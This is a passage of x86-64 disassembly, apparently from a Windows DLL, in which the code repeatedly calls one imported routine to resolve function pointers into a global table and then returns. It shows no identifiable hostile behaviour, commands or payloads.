mov qword [0x180042ba0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043530]
mov rcx, rdi
mov qword [0x180042bb0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043540]
mov rcx, rdi
mov qword [0x180042ba8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043548]
mov rcx, rsi
mov qword [0x180042bb8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043550]
mov rcx, r13
mov qword [0x180042bc0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043558]
mov rcx, rdi
mov qword [0x180042bc8], rax
call qword [0x1800427f8]
mov rbx, qword [rsp + 0x20]
mov rdx, qword [0x180043560]
mov rcx, rbx
mov qword [0x180042bd0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043568]
mov rcx, rdi
mov qword [0x180042bd8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043570]
mov qword [0x180042be0], rax
mov rcx, rbx
call qword [0x1800427f8]
mov rdx, qword [0x180043578]
mov rcx, rbx
mov qword [0x180042be8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043580]
mov rcx, rbx
mov qword [0x180042bf0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043588]
mov rcx, rbx
mov qword [0x180042bf8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043590]
mov rcx, rbx
mov qword [0x180042c00], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043598]
mov rcx, rbx
mov qword [0x180042c08], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435a0]
mov rcx, rbx
mov qword [0x180042c10], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435a8]
mov rcx, rdi
mov qword [0x180042c18], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435b0]
mov rcx, rdi
mov qword [0x180042c20], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435b8]
mov rcx, rdi
mov qword [0x180042c28], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435c0]
mov rcx, rbx
mov qword [0x180042c30], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435c8]
mov rcx, rdi
mov qword [0x180042c38], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435d0]
mov rcx, rdi
mov qword [0x180042c40], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435d8]
mov rcx, qword [rsp + 0x98]
mov qword [0x180042c48], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435e0]
mov rcx, qword [rsp + 0x98]
mov qword [0x180042c50], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435e8]
mov rcx, rbp
mov qword [0x180042c58], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435f0]
mov rcx, rbp
mov qword [0x180042c60], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800435f8]
mov rcx, rsi
mov qword [0x180042c68], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043600]
mov rcx, rbp
mov qword [0x180042c70], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043608]
mov rcx, rbp
mov qword [0x180042c78], rax
call qword [0x1800427f8]
mov rcx, qword [0x1800430b0]
mov qword [0x180042c80], rax
call fcn.180007034
mov qword [0x180043110], rax
mov rcx, qword [0x180043740]
call fcn.180007034
mov rcx, qword [0x180043738]
mov qword [0x1800439f8], rax
call fcn.180007034
mov rcx, qword [0x1800430f0]
mov qword [0x1800439f0], rax
call fcn.180007034
mov rcx, qword [0x180043098]
mov qword [0x180043118], rax
call fcn.180007034
mov rcx, qword [0x1800430a0]
mov qword [0x180043108], rax
call fcn.180007034
mov qword [0x180043100], rax
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret